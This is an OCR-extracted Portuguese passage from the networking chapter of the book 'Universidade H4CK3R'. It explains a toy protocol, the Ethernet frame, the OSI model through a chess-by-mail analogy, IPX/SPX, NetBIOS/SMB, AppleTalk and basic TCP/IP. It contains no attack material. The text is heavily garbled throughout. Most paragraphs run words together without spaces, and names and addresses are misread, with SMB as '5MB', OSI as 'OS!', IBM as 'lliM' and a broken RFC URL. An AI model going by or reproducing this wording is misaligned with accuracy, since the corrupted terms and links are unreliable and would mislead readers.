Vamossuporque,emnossatecnologiaderedes,vãoexistirapenasquatro protocolosdiferentes.Paraquatrovaloresdiferentes,bastamapenasdoisbits. Então,quandopublicarmosnossasnormase projetarmosnossasplacasde rede,já sabemos:osprimeirosdoisbitsdessepacoteidentificamqualproto- colo estamosusando. Háoutracoisaquejá sabemos:qualé a máquinadestinodopacote,e quala máquinadeorigem.Cadanóemumaredepossuiumidentificadorúnicoqueo diferenciadosdemaisnós.Esseidentificadoré comumentechamadodeende- reço,portanto,sabemosqueé precisoinserir,emnossopacote,quantosbits serãodestinadosàrepresentaçãodoendereçodeorigeme dedestino.Nossa tecnologiaderedessóvailigar16nósaomesmotempo,entãoquatrobitssão suficientes.(Estamosconsiderandoqueo leitorsaibafazerconversãodecimal! binário,poisseránecessário.Emcasonegativo,umsitequepodeesclarecê-Ioé piano.dsi.uminho.pt/-joao/Computaca02lnode2.html). 1421 Redes1[
  • Universidade1°ano o pacoteficaria assim: Faltaalgumacoisa,não?Quemteriao trabalhodeenviar,pelocorreio,um envelopecomremetente,destinatário,o selocarimbado(que,nessecaso,iden- tificariao protocolode comunicação:o sistemapostalbrasileiro)massem umacartano interior?Nossoprotocolotambémcarecedealgoútilparafazer. Precisamosdefinirum espaço,dentrodamensagem,paracarregaros dados quequeremostransmitirdo nó deorigemparao dedestino. Vamossuporquearedeparaaqualestamoscriandoesseprotocolotenha umalimitação:o tamanhodospacotesnãopodepassarde64 bits.Já usamos doisparao protocolo,quatroparao endereçodeorigeme maisquatroparao endereçodedestino.2+4+4=10,sobram,então,54bitsparao payload (ex- pressãousadano meioferroviárioparadefiniro tamanhoda"cargaútil") e demaiscampos.Um protocolo,por maissimplesque seja,devepossuirum símboloque marqueo fim da mensagem.Vamosdefinir umasequênciade 1 byteparatal. Ao acaso,arbitramos11001011.O símbolodevesera última coisaqueaparecenamensagem.Os 46 bitsquesobrarampodemserusados paratransportarnossosdados. É claroquepacotesmontadossegundonossosimplesprotocolosimples carecemdediversoscontrolesmaissofisticados.Poderia,por exemplo,haver umcampono qualexistisseumnúmerocalculadoa partirdosbitsde todaa mensagem.Essenúmeroseriareca1culadopelo nó destinoe, seo resultado batessecomo queestáguardadono campo,indicariaqueamensagemnãofoi corrompidadurantea viagem. Outrocampoútil poderiaserummarcadordetamanhodemensagem. Como tamanhodamensagemvariável,ajustaríamosa quantidadededadosa transmitirnaquelemomento.Pegandocomoexemplonossoprotocolo,que temumpayloadde46bits,vemosquetodasasmensagensterãorigorosamen- teo tamanhomáximo,mesmoqueeuqueiratransmitirapenasumbit.Comum campocontrolandoo tamanhodo payload,possootimizaro uso da minha redee diminuiro tráfego. Eupoderiapassara madrugadainteira(sim,agoraé demadrugada,e eu tenhode entregaro capítulotodocorrigidoamanhã...)falandosobreasinú- meraspossibilidadesdeimplementaçãodeprotocolos.Emvezdisso,recomen- doaoleitorqueprocurenaInternetdocumentaçãosobreteoriadeprotocolos. Bonslivrossobreredes(comoo jácitadodeAndrewTannemmbaum)também sãoboasfontesde informaçõessobreo assunto. 1431 ]Redes1 ProtocollD Enderecode Endereco (2bits) Origem(4bits) Destiná(4bits) PID End.Origem End. Destino PAYLOAD (DadosÚteis) Fim Msg 2 bits 4bits 4bits 46 bits 11001011
  • I UniversidadeH4CK3RI Matrioshka3 O campoProtocolID (ouPID) denossoprotocoloé umidentificadorque o diferenciadosoutrosprotocolosquetrafegamnarede. O protocoloé nosso"primeirofIlho",vamosbatizá-IodePROTl (original, não?).Podeserque,no mesmocabo,trafegueo nossoPROTl e outrostrês, criadospor seuscolegas:MAILl, WEBl e 1M!.Emqualquermomentoquese verifique,hámensagensdessesquatroprotocolostrafegandosimultaneamen- te.Sãomensagensindependentesequepodemexistirnomesmotempoeespa- ço.É fácil observar,pelosnomesdadospelosseuscolegas,queo protocolo MAILl vai carregarmensagensde correioeletrônico,o protocoloWEBl trará páginasWebparaseunavegadore o protocoloIMl permitemconversasentre programasde mensagensinstantâneas. Emalgumassituações,queremosusarumprotocoloparatransportarpa- cotesdeoutrosprotocolos.Umadessassituaçõeséquandoo númerodeproto- colosatransportarnaredeé muitogrande.Nessescasos,cria-seumprotocolo de transporte- sendosó um, o hardwareé maisfácil de implementar- e encapsula-seosdemaisprotocoloscomosefossemdadosemseupayload. Extrapolando,é possívelterváriosníveisdeencapsulamento.Cadaum dosníveisé comumentechamadodecamadaoulayer,e é possívelextratificar a comunicaçãodedadoscriandocamadascomfunçõesespecmcas. 6Cabeçalho EJCabeçalho I CabeçaLhoI I FIm ] Osprotocolosdemaisaltonívelsão"envelopados"emoutrosdeusomais geral.O processopodeseguirindefmidamente,dependendodasnecessidades de projeto.Cadaumadascamadaspodetratarde exigênciasespecmcasda rede.Por exemplo,a camadade maisbaixonívelprovavelmentecuidados aspectoselétricosdacomunicação,jáacamadamaissuperiorofereceummeio paraque asmensagensdo programaque estáacessandoa redesejambem recebidasnaoutrapontado fIo. 3 Bonecas russasque se encaixam uma dentro da outra, da mesmaforma que as camadasdo modelo OS! durante o encapsulamento,iniciando sempre pela menor e "ganhandopeso" durante o processo. 441 Redes 1 [
  • Universidade1°ano Ethernet Confuso?Talvezateoriaseja,realmente,umpoucohermética.Algunsexem- plospráticos,entretanto,bastarãoparamostraraoleitorqueessemétodode guardarumenvelopedentrodooutronãosóé fácildeentendercomofacilita ascoisasparao projetista. O Etherneté umprotocoloderedesdebaixonível.Elecontrolacomoos dadostrafegamnaredelocal,tantono controledo meiofísico(sinaiselétricos, impedância,etc)comonamontagemdeumquadro,chamadoEthernet,contendo informaçõessobreendereçodeorigem,dedestinoedadosaseremtransportados. Sevocêabrirumcaboderedeecolocarumanalisadorlógicoparaobservaro que estátrafegando,o quevaiaparecernatelaé umquadroEthernet.A estruturade umquadroEthernetémuitoparecidacomadonossoprotocolofictício.Observe: UmquadroEthernetpossuiumtamanhoentre64e 1519bytes(ou seja, entre512e 12.152bits).AntesdecadaquadroEthernet,háaindaumtremde 56bits,alternadosentreOe 1,chamadodepreâmbuloe queserveparasin- cronizaras interfacesde rede4.Um quadroEthernetcompleto,incluindoo preâmbulo,seria: 10101010 10101010 10101010 10101010 10101010 10101010 10101010 7 1 6 6 2 46 a 1500 4 Osnúmerosabaixodecadacamporepresentamo seutamanhoembytes. Depoisdo tremde pulsosdo preâmbulo,temoso StartFrameDelimiterou SFD.Essecampotemsempreo mesmovalorbinário(10101011)e servepara, comoo nomejá diz,indicaro início "oficial"do quadro.Os próximosdois campossãoo endereçodeorigeme o dedestinodasinterfacesderede.Esses endereçosnãosãoconfiguradospelousuário.Pelo contrário,o fabricanteda placaderedeinsere,noprópriohardware,umendereçoúniconomundopara cadaplaca.O endereçoEthernetouMACadress,comocostumaserchamado, possuiseisbytese é representadopor númerohexadecimais.Um exemplo: 00- 00- lD - Cl - 47- FO Ostrêsprimeirosbytesdeterminamo fabricantedaplaca.Já ostrêsúlti- mos,a faixadeendereçosqueaquelefabricanteestáautorizadoa usar. 4 Paraos técnicose engenheirosemeletrônica:notemque,comoé umaseqüênciaperfeitadezerose uns,nadamaistemosqueumaondaquadradade freqüênciaconstante- umclock!!! 1451 ] Redes1 Cabecalho Dadosvindos da Rodapé Ethe'rnet camadasuperior Ethernet I Preâmbulo SFD Endereco Endereco Tamanho "Payload" FCSDestiná Origem doQuadro
  • IUniversidadeH4CK3RI Na listaabaixo,queobviamenteestábem simplificada,temosalgunsconjuntos de trêsprimeirosbytesde endereçosMAC, indicandodiferentesfabricantes: 0000OC- Cisco 00 00 lB - Novell 02 60 8C - 3Com 080009- Hewlett.Packard 080020- Sun.Microsystems 08 00 5A - IBM Façaumaexperiênciae verifiqueo endereçoMAC de suaplacaderede.Se vocêestáusandoumWindowsdafamíliaWin9x,dique emIniciar,Executare rode o programaWINIPCFG.Em umWindows 2000ou Xp,entrenassuas configuraçõesderedeepeçaparavero statusdaconexão.Cliqueemsuporte, depoisnobotãoDetalhes.No LinuxeemalgunsoutrosUnix,abraumterminal e useo comandoifconfig. Voltandoao quadroEthernet,o próximocampoé o tamanhodo payload.É um númerode doisbytes(portanto,16bits),e poderiaindicarum tamanho entre1e65.536paraosdados.Naprática,essevalorvariade46a 1500bytes. O últimocampodoframeEthernetéochamadoFCS,ouFrameCheckSequence.É exatamenteaquelenúmerodeverificaçãoquediscutimosemnossoprotocolofictí- cio.Eleégeradoemumnódeorigememftrnçãodoscamposdeendereço,tamanho epayloadegravadonocampoFCS.Quandooquadrocheganodestino,onúmeroé calculadodenovoe comparadocomo FCS.Seambosforemiguais,o quadroestá bom.Sediferirem,o quadroestácorrompidoeserádescartado. Um últimoelemento,quenãofazpartedo quadroEthernet,é o chamado InterframeGap.Depoisqueo quadroé processadopelamáquinadestino,a interfacederededeorigemdeixaarede"emsilêncio"duranteumtempopré- definidopor hardware.Dessaforma,todasasoutrasinterfacesdaredepodem estabilizar-see ficarà esperadeumnovoquadro. I Quadron I I Quadron+1 Quadron+2 w Interframe Gap Interframe Gap O protocoloEthernet,sozinho,dariaumlivrointeiro.Nãoserápreciso,para nossospropósitos,dissecá-Iomaisdo que apresentamosaqui.Para uma escovaçãomaiordebits,lembre-sedequeaInterneté suaamiga. Comoo leitorveráa seguir,apresentaremosummodelodereferênciaparaa criaçãodeprotocolos.O Ethemetencaixa-senascamadas1e 2 dessemodelo dereferência.Podeparecerestranhoter"adiantadoo expediente",falandoso- breEthemetantesdetudo,masprecisávamosdeumexemplopráticodepro- tocolo.Comosepodever,estátudodentrodoprojetopedagógico;-) 1461 Redes1I
  • Universidade1°ano o Modelo051 PodemosdizerqueomodelodereferênciaOSI(OpenSystemsInterconnection) nasceudanecessidadede criarum protocoloqueconseguissesecomunicar entreredesdiferentes.As redesantigasdecomputadorespossuíamprotocolos proprietários.Sea empresaX implantasseumarede,estasópoderiasecomuni- care serexpandidacomoutrasredese equipamentosconstruídospelamesma empresa.A tecnologiautilizadaerade conhecimentode apenasumfabricante, nãoerapossíveladquiriro hardwarecomumaempresae instalara redecom outra.Os clientesficavamdemãosatadas,poisnãohaviaconcorrênciae nem sempreo fabricanteproporcionavaa melhorsolução. Comoopróprionomediz,o OSIéummodelodereferência,nãoumprotoco- lo.Vamostentarilustrardeumamaneirabemsimples:pensenumprocessador detextos.O MicrosoftWord,por exemplo.Existemdiversosmodelosdedocu- mentos(chamadostemplates)apartirdosquaispodemoscriarnossasprópri- ascartas,folhasde.rostodefaxoumemorandos.Imagineo modelodereferên- ciaOSIcomoumtemplateparacriarprotocolosderede.Fácil,não? O modelofoi desenvolvidopelaISO (lntemationalStandardsOrganization), e tomou-seumpadrãoparaqueos fabricantespassassema desenvolverseus protocolosapartirdessemodelo.Aindaassim,vocêpodenotarqueosproto- colosexistentesnãoseguemà riscaessasespecificações,algunspor serem maisantigosqueelas,outrospor atingirema objetivostécnicosespecíficos,e unspoucospor puraarrogânciacorporativa. Camadas o modeloOSIéformadoporsetecamadas,cadaumacomumafunçãodiferen- te. As camadascriamumenvelopecomosdadosdacamadasuperior,incluem seuspróprioscabeçalhose entregamissoparaacamadaimediatamenteinferior. Quandoo pacotecheganacamadadenívelmaisbaixo,estáprontoparaser transmitido.As camadassãoorganizadassegundoestemodelo: 1471 ]Redes1 7 I Aplicação 6 Apresentação 5 I Sessão 4 I Transporte 3 Rede 2 Enlace 1 Física
  • I UniversidadeH4CK3RI Modelo OSI representadopelas Matrioshkas 1 2 3 4 5 6 7 Quandoum pacoteé enviadode um dispositivoquesegueo modeloOSI paraoutro,ascamadasdo remetentese comunicamapenascomascamadas correspondentesno receptor.Issosignificaqueascamadasidentificamos ca- beçalhosequivalentesqueforamincluídosno processode encapsulamento, fazendoassimcomqueo próximonívelnãopreciselidarcomasinformações dosníveisanteriores.Trocandoemmiúdos,acamada4nãotemamínimaidéia doqueascamadas3,2 e 1fazemcomosdados.Tudoo queelasabeé quefez umenvelopee o entregouàcamada3.Lánooutroladodaconexão,no recep- tor, a camada3 entregaráo envelopefechadoparaquea camada4 abra.Po- demterhavidomudançasdeprotocolonascamadasinferiores,fragmentação depacotes,trocadeordem,nãoimporta.A camada4 sóquersabero queestá emseuenvelope.Issovaleparatodasascamadase tomao funcionamentode cadaumaindependentedasoutras. Comodissemos,cadacamadapossuiumafunçãoespecífica.Setomarmos comopontode partidaquecadaumadelasrepresenta,na realidade,algum softwarequedesempenhaasfunçõesdescritas(comexceçãodacamada1,que é implementaçãodehardware),veremosqueo modeloproposto,emvezde serabstrato,é atébempalpável. 7 - CamadadeAplicação A camadadeaplicaçãoé,comoo nomejádiz,o próprioaplicativo.Emoutras palavras,é o programaquevocêestáusando.Por exemplo,seunavegadorWeb estánacamadadeaplicação,efaladiretamentecomo servidorWebqueestálá naoutrapontadaconexão.Há,portanto,uma"conversaa dois"entreos pro- gramas.Nãoé,verdadeiramente,partedarede.Do contrário,essacamadare- presentatodosos programasquequeremacessara redee nãosabemcomo fazê-Io.A únicaformadeosprogramasqueusamosconseguiremsecomunicar comoutrosprogramasemoutrasmáquinasé "falando"coma camada6. 1481 Redes1 r
  • Universidade1°ano 6 - CamadadeApresentação Chamada,por muitos,de"a camadasemfunção"ou "a camadainútil".Na teoria,serveparaprepararosdadosno domíniolocale colocá-Iosemumfor- matocompatívelcomprocedimentosdetransporte.No caminhoinverso,pa- dronizaos diferentestipos de dadosde umaformaque qualqueraplicação possaserescritaparausararede,independentedasimplementaçõesdascinco camadasinferiores.Doisexemplosdeserviçosexecutadosnessacamadasãoa criptografiae a compressãode dados.Na prática,essafunçãoé triviale é implementadana própriaaplicação. 5 - Camadade Sessão A camadade sessãoé responsávelpelo estabelecimentode conexãoentre doiscomputadoresqueestãosecomunicando.Elacontrolao diálogoentreas aplicaçõesnossistemaslocale remoto.Tambémé possívelagrupardadosem blocose marcá-Iosdepoisdeenviados.Casohajaumainterrupçãonaconexão, a próximasessãopoderárecomeçara partirdo fun do últimoblocoenviado. 4 - CamadadeTransporte A camadadetransportefornecemeiosparaqueos nóslocale remotopos- samtrocardados.Usandoumaanalogiaumpoucoimprecisa,osprogramasda camada4montamum"cano"entreacamada5 localeacamada5remota.Seos softwaresde camada5 de ambasasmáquinasolharempelo cano,verão,do outrolado,seucompanheiro.Éatravésdesseencanamentodisponibilizadopela camada5 quetodaa"mágica"dascamadasanterioresacontece. 3 - Camadade Rede Até agora,estávamosno âmbitoexclusivodo software.As camadasante- riorescomunicam-sediretamentecomo programacorrespondentedasmá- quinasremotas.A camada3,por outrolado,conhecea topologiae a distri- buição daredee sabecomoencontrarumamáquinaemespecialno meio da selvade endereçose caminhos.A camadade rede não é orientadaà conexãocomoacamadadetransporte.Os pacotessãoenviadossemquese saibasevãochegarou não.Comoa conexãoé estabelecidanacamadaime- diatamentesuperior(que,por sinal,estáencapsuladanesta),issonãochega a serum problema. 2 - Camadade Enlace A camadadeenlaceéresponsávelpelacomunicaçãodiretaentreduasinterfaces numamesmarede.Nãotemconhecimentodeoutrasredesalémdasua,função dacamadasuperior.Por outrolado,é a camadaque,narededeorigeme nade destino,efetivamenterecolhee entregao pacoteà interfacede redecorreta. Controlee detecçãodeerrosfazempartedo seumétier. 1491 ]Redes1
  • IUniversidadeH4CK3RI 1 - CamadaFísica Comoo próprionomeindica,é aresponsávelpeloenviodosquadrosparao meiofisico.Aconversãoé feitaapartirdosOse ls doquadro(sistemabinário) e adaptadaparao meio,no casodeum meioelétrico,sãotransformadosem sinaiselétricos,nummeioótico,sinaisluminosose assimpor diante. Um exempLoprático Paraentendermelhor,umapequenaalegoria:umjogo,por correspondên- cia,entredoisenxadristas,umemTeresinae outroemGoiânia5.Osenxadristas sãoosusuários.O jogoemsi (tabuleiro,peçase regras)é aaplicação(camada 7). As jogadassãoregistradasemnotaçãotabular(porexemplo,o movimento deumcavalopoderiaserB3C5)e escritasemfolhasdepapel- essaé aforma deapresentaçãodojogo(camada6). Notequenãobastasimplesmentecolo- carumapapeletano envelopecoma notaçãodajogada.É debomtomescre- verumacartacompleta,comdata,saudaçãoe assinatura,perguntarcomovaia família,o trabalho,férias,etc.paraquesecrieumvínculoíntimoentreosdois. Mascomoenviara jogadaaooutroenxadrista?Bem,é necessárioestabe- lecerumasessão(camada5)decomunicação.Emnossocaso,arequisiçãoda sessãoé representadapelosserviçosdaECT.Colocamosa cartano envelope, endereçamos(nãoesqueçao CEP!),selamose colocamosnacaixadecorreio. Do outrolado,nossocolegavaiabrira cartae estabelecera sessão. A ECTé responsávelpelotransportedenossacarta(camada4).Issosig- nifica criar meiospara que umaconexão entre os dois enxadristasseja estabelecida.Quandocolocamosacartanacaixadecorreio,esperamosque,de algumjeito,elachegueàsmãosdo destinatário.Os mecanismosusadospara talnãonosinteressam. A ECT separaascartaspor região,depoispor estado,depoispor cidade, depoispor logradouro.Umavezseparadas,montapacotesde cartasdestina- dasa cadalogradouroe osenviaparalá.Utiliza-se,paratal,umarede devias rodoviárias,ferroviáriase aeronáuticas(camada3) e umexércitode carteiros paraentregarascartas. Oscaminhões,ônibus,aviões,motocicletaseasbolsasdoscarteirossãoos elementosquetransportamos pacotesdecartasdentrodeumamesmarede viária.Os caminhõessóandamnasestradas,osaviõessóvoam,oscarteirossó andamnascidades.Nenhumdelesconheceosdetalhesdetodaa rotadascar- tas,sabemapenascomoentregarascartaslocalmente.Sãonossacamada2. Noteque,casosejaprecisotrocardetipoderede(por exemplo,sairde umaviãoe entrarnumônibus),nossascartassãotratadaspor funcionáriosdos correiosquetrabalhamematividadesprópriasdacamada3.Elessabemmapear entreasredes.Ospilotosdosaviões,por exemplo,nãoentendemnadadisso. 5ApesardasfacilidadesdaInternete daTelefonia,umjogopor cartasé maisromânticoe maisbarato... 150I Redes1[
  • Universidade,0ano Os aviõesutilizam-sedo ar parasustentaçãoe navegação.Já os cami- nhõestrafegampelaestradas.Os carteirosandampor cadalugarquemerece- riammuitasmedalhas(nemo vento,nema chuva...).O ar,asestradase os morrossãonossosmeiosfísicos,por ondeé feitoo transportedetudoo que descrevemosnascamadassuperiores. Ufa!DescrevemospelomodeloOSI, comumexemplonão-tecnológico (tantoo correioquantoo xadrezexistemhámilharesde anos...),ummétodo detransportedemensagensentreduasaplicações.Há coisasbeminteressan- tesa seobservarnesseexemplo,o quecomprovatodasasteoriasenvolvidas no modelodereferência. ~ Encapsulamento:A jogadafoi encapsuladana notaçãotabular,quefoi encapsuladanacarta,quepor suavezfoi encapsuladaemum envelope,que estabeleceuumasessãodecomunicaçãousandoosprotocolosdeclassificação e transportedosCorreios,queenviapacotesdecartassegundorotasespecífi- cas,queparaissotrafegouemveículosquerodavamexclusivamentedentrodo meiofísicoespecíficoparaos quaisforamfeitos. ~Paridade:Cadaumadascamadaspossuiumemissoreumreceptor.O pesso- aldeclassificaçãoe envio(camada3)"conversa"como mesmopessoaldaoutra localidade,usandoosrecursosdacamadainferior(o caminhão,porexemplo). ~Conexão:A partirdacamadaquatro,vemosquetodososprocedimentos precisaramqueo emissore o receptorentrememnegociação.Da camada3 parabaixo,ascartassãotransportadasindiscriminadamente,semseimportar sehaveráalguémlápararecebê-Ias.Nãochegaa serumproblema:seapenas umadascamadasestabelecerumcanaldeconexãopermanente,asoutrasca- madaspodemtrafegar"connection1ess". ~Independência:As camadassãocompletamenteindependentes.A cama- da4 - os setoresde recebimentoe entregade cartas- nãoprecisamsaber quaisrotaso pessoalda camadatrês- os setoresde redesde transporte- utilizou. Essepessoaltratade coordenar os diferentesmeios de transporte- nossacamada2 -, masnãosepreocupacomosproblemasinerentesaotrans- porte- qualcaminhãodesignar,combustível,motorista,problemascom gre- ves,sindicato...Já o motorista,alémdenãosaberpor quaisoutrosmeiosde transporteascartastrafegaram,muitomenoso conteúdodecadacartaindivi- dual,preocupa-seapenasemgerenciaros problemasinerentesao seutraba- lho:seguirarotadesignadapelopessoaldacamadatrês,operandoo caminhão deacordocomasleisdetrânsito,desviandodeburacos,atravessandoenchen- tes,etc.Nenhumdosenxadristas(camada7)sequerseincomodaemconhecer qualquerumadessaspartesdoprocesso.Paraeles,o quevaleémexero cavalo deacordocomB3C5. I 51I I Redes1
  • IUniversidadeH4CK3RI SPX!IPX o SequencedPacketExchange/lnternetPacketExchangeé o protocolouti- lizadopelaredeNetwaredaNovell.Implementaascamadas3e4 domodelode referênciaOSI,eutiliza,comoprotocolodecamada2,exclusivamenteoEthernet. Por muitosanos,Netwaree Ethernetforamconsideradossinônimos.Possuem diversassemelhançascomo TCP/lP. Já foramos protocolosmaispopulares, mas,sendooTCP/lP a basedaInternet,acabaramcaindoemdesuso. ~ IPX - O IPX seria o equivalenteao protocolo de redes.É uma implementaçãomuitovolumosae cheiaderecursos.Temalgumascaracterís- ticasvantajosascomoa detecçãodeendereçosMAC e atribuiçãoautomática de endereçoIPX, ao contráriode outrosprotocoloscomo o Ip,que fazem com que o usuáriotenhade atribuirmanualmenteum endereçopara.cada interfaceou configurarum serviçoexternoqueautomatizea tarefa. ~ SPX - Damesmaformaqueo IPX, o SPXtemcorrespondênciacomo protocoloOSI de transporte.Umadascaracterísticasmaisimportantesdes- sa implementaçãoé que o SPX temde recebera confirmaçãodospacotes enviadosantesdepoderenviaroutro,o quetrazprejuízosparao desempe- nho darede. Camadas As camadasdoprotocoloIPX/SPXatuampraticamentedamesmaforma queno padrãoTCP/IP;sãoelas:Aplicação,SPX,IPX,ODI/Ethernete a camada deInterfacecoma Rede. Aplicação SPX IPX ODI7Eihernet Interfacecomarede Cadaum dosprotocolosde todasascamadasNetwareforamespecial- menteprojetadosparapermitirelevadaconfiabilidadee desempenho.Vários flagsdecontrolee sistemasredundantesdeverificaçãodeerrose reenviode pacotessãoempregados.A própriacamadaODI representaumencapsulamento do protocoloEthernetparafazê-Ioatenderàs exigênciasdosprojetistasna Novell.Mas,comonemtudosãoflores,aumentaro númerodecontrolesque garantamconfiabilidadetemcomoreflexoa quedado desempenhoempro- porçãodireta.Essefoi um dosinúmerosfatoresquecontribuíramparaa der- rocadado SPX/lPXcomofamíliapopulardeprotocolosde rede. 1521 Redes1 r
  • Universidade1°ano NetBI05/ NetBEUI / 5MB / CIF5 Não há nada mais manjado para usuários corporativos de redes Windows que a facilidade e a rapidez de compartilhar com outros colegas alguma im- pressora ou pasta. É possível até disponibilizar um drive de CD, CD-R, CD-RW; DVD, Zip ou mesmo de disquete. O Network Basic Input Output Systemfoi concebido pela lliM e extendido pela Microsoft e Novell para uso em suasrespectivasredes locais, o PC Network, o Lan Manager e o Netwate 2.0. Como o nome realmente sugere, o NetBIOS é uma série de extensõesde entrada/saídapara que o vell10sistemaoperacional MS-DOS e seusdescendentespossamacessarredes locais. O NetBIOS baseia-seem um formato de mensagenschamado Network Control Blocks (NCB), que trafegavampela rede "de carona" nos protocolos de camada 2 existentes.Dentro dos NCBs, trafegaum outro protocolo chamado de Server Message Blocks ou 5MB6, que informa onde estãoasmáquinas,quem são elas,quais seusMAC addressese quais recursos (discos ou impressoras) têm para compartilhar. Pode ser encontrado agindo sobre placas do padrão Ethernet, Token Ring e num fmado padrão Windows NT. O NetBIOS implementa as funções das camadas4 (transporte) e 5 (sessão)do modelo de refe- rência OS!. O 5MB implementa funções das camadas6 (apresentação)e sete (aplica- ção). Entretanto, eram apenas intelfaces de programação e não implementação de protocolos, e nunca foram implementadasas funções correspondentes àscamadas 2 (datalink) e 3 (rede). Com o tempo, o NetBIOS foi incorporado como uma API de programação do recente protocolo conhecido como NetBEUI (NetBIOS Enhanced User Interface). Sóno NetBEUI, a lliM e a Microsoft implementaram, fmalmente, um quadro padronizado para transmissão na camada 4. A camada 3, porém, ficou ainda de fora, não sendo possível rotear o NetBEUI entre redes diferentes. A dupla NetBIOS/NetBEUI sempre foi louvada por seu desempenho em redes locais, normalmente pequenas. Entretanto, sua efetividade desaparece em redes com mais de 80 computadores interligados. As recomendações da época eram de instalar o NetBEUI com outro protocolo de camada 3 (como IPX ou IP) e segmentar a rede. Hoje, sabe-se que tal prática é inviável para grandes redes, e um tremendo furo de segurança. No primeiro caso, não se consegue isolar os segmentos de rede com bridges e muito menos as redes com roteadores porque a resolução de nomes e entrega de mensagens entre estações se dá por meio de broadcasts - mensagens destinadas à toda a rede indiscriminadamente. O segundo problema é bem pior: adicionando capacida- des de roteamento ao NetBIOS, abriu-se as portas para que pessoas mal inten- cionadas em todo o mundo bisbilhotem em sua rede via Internet sem precisar de outra ferramenta, além do Internet Explorer. A mistura IP/NetBEUI é tãu ruim que a própria Microsoft descontinuou o suporte a NetBEUI no Windows XP.A solução é usar 5MB (uma implementação de camada 7) diretamente sobre TCP /lp. 6 As novas versõesdo 5MB foram rebatizadas de Comnon Internet File 5ystem, mas, apesar de trazerem algumasmelhorías e novas características,ainda trata-sedo velho e bom 5MB. 1531 ] Redes1
  • IUniversidadeH4CK3RI Camadas Incrivelmente,as soluçõesbaseadasem NetBIOSpossuem,hoje em dia, implementaçõesparaTODASascamadasdo modelode referênciaOSI,com exceçãodacamadaderede.O quenãochegaa serproblema,poisé fácil"en- costar"o NetBIOSemumaredeIP ou IPX existente.Comosenãobastasse,é possívelimplementarumaredeMicrosoftsuprimindoqualquerumdosproto- colosdecamadasintermediárias,ou mesmotodos.Observe: 5MB/CIFS /I~ NetBEUI/NetBIOS NetBIOS/TCP/IP TCP/IP RFC1001RFC1002 NetBIOS/SPX/IPX No primeirocaso,temosaimplementaçãooriginal,ouseja,5MB(Camadas7 e 6) sobreNetBIOS/NetBEUI(5/4)sobreEthernet(2).Essaeraa soluçãonão roteável,poisnãoháprotocolodecamadaderedesnacadeia. No segundocaso,temos5MB(7/6)sobreNetBIOS(5),TCP/lP(4/3)ou sobre SPX/lPX(4/3)sobreEthernet(2).Nessaimplementação,temosoconjuntocom- pletode camadasOSI implementadaspor algumprotocolo.Sepor um lado issoagradaaosredatoresde normas,por outrocriaumapilhadeprotocolos muitopesadae cheiade furosdesegurança.Sefor usara Internet,é melhor nãoir por essecaminho. O terceiroé o maisradical.TodososantigosprotocolosNetBIOSforamsim- plesmentedesprezados,umavezquea Microsoft"deuum jeito"de fazer o 5MBfuncionardiretamentesobreTCP/lp.Sepor umladoháganhodedesem- penhoe segurança,perde-seaAPI facilitadaparaescreverprogramaspara rede.Podemos,então,estratificaressesprotocolos(incluindoos externosde camadas4, 3 e 2)daseguintemaneira: 5MB/CIFS (7e 6) NetBIOS/NetBEUI/NMB (5e 4) TCP/IP ou IPX/SPX (4e 3) Ethernet (2e 1) Apesardesuaidadee suasfalhas,protocolosbaseadosem5MB/CIFSsão muitopopularesaindahojepelafacilidadecomqueosusuáriospodemcompar- tilharrecursosde seuscomputadores.Emredesbemadministradasissopode aumentaraprodução.Emredesmaladministradas,podeaumentara confusão... Emambososcasos,é a implementaçãoderedesmaisutilizadadafacedaTerra. j41 Redes1r
  • Universidade1°ano Appletalk O AppletaIk,comoo próprionomesugere,é o protocoloproprietárioutilizado nasredesdecomputadoresApple.É compostoporprotocolosdetransportee en- trega,oATP(AppleTalkTransportProtocol)e o DDP(DatagramDeliveryProtocol), equivalentesàscamadas4e 3domodelodereferênciaOSI,respectivamente. Aplicação Camadas o modeloAppleTalkestádivididoem cincocamadas:aplicação,sessão,trans- porte,entregaeacessoàrede.Muitose- melhantecomo padrãoOS!. Sessão Transporte EntregadeDatagramas Acessoàrede TCP/IP o protocolo conhecido como TCP/lP (TransmissionControl Protocol! InternetProtocol)é, atualmente,o padrãode fato.Foi concebidojustamente paratrabalharnascamadas3 e 4 domodeloOSIe,portanto,sercompletamen- teroteável.Suacriaçãotevepropósitosacadêmicose militares,poisfoi utilizado emdiversasredesdeuniversidadese dedefesanorte-americanasnasdécadasde 70 e 80.O protocoloatingiua"fama"coma Internete estáimplementadoem praticamentetodosos sistemasoperacionaisexistentes. Camadas o TCP/lP estádivididoemdiversascamadas,comoveremosa seguir: ~ Camadade aplicação:Responsávelpelacomunicaçãoentreo protoco- lo destinadoao transportee os aplicativosemexecução,comoo DNS,FTP, HTTP e SMTP,entre outros. Correspondeàs camadasOSI 7, 6 e 5 e é implementadonosprópriosprogramas(camada7). .~ CamadadeTransporte:Criaa conexãovirtualentredoiscomputadores, exatamentecomodescritodo modeloOS!. ~ Camadade Internet: Responsávelpelaorganizaçãoe roteamentodos pacotesdefmindoseusendereços. ~ Camadade Interface com a Rede: Responsávelpeloenviodosdatagramaspro- venientesdacamadadeInternet.Nãofazpar- tedoprotocoloTCP/lP,maséumcomponen- teobrigatório.Normalmenteé usadoo pro- tocoloEthernet,emboraoTCP/lP sejacom- pletamenteindependenteepossatrafegarem meiostãodísparescomofibrasóticas/FDDI, 1inksderádio,X.25ou FrameRelay. Aplicação Transporte Internet InterfacecomaRede 1551 ] Redes1
  • IUniversidade H4CK3R I Entendendo o TCP!IP A famíliadeprotocolosTCP/lP é abasedeInternete damaioriadasredes de computadoresespalhadaspeloglobo.Paraentendercomoessasredesfun- cionam,é necessárioterumanoçãode comoo protocoloTCP/lP gerenciao envioe recebimentodedadosentredoisnós. Notequechamamoso conjuntodeprotocolosTCP/lP defamília.Hámais delesdo queapenasessesdois,quedãonomeà família(e são,realmente,os maisimportantes).Além deles,existeo UDP (UserDatagramProtocol)e o ICMP (InternetControlMessageProtocol),entreoutros.TCP e UDP sãoproto- colosde camada4, ou seja,propiciammétodosparaqueos dadosvindosda camada5 sejamtransportadosatéo nó destino.IP e ICMp'por outrolado,são protocolosdecamada3,o quesignificaoferecerinsumosparaquea camada4 possafazerseuserviço. O TCP/lP e protocolosauxiliaresestãodefinidosemumasériededocu- mentosmantidospelo InterbetEngineeringTaskForce(lETF).Procurepelas RFCs791,792e 793no siteoficial:www.ieticom/rfc.htm1. EmboravamosestudaroTCP/lP comdetalhesno capítulocomplementar a este,Redes11,algunsaspectosdevemestarclarosparaquepossamosconti- nuara leituradestelivro. 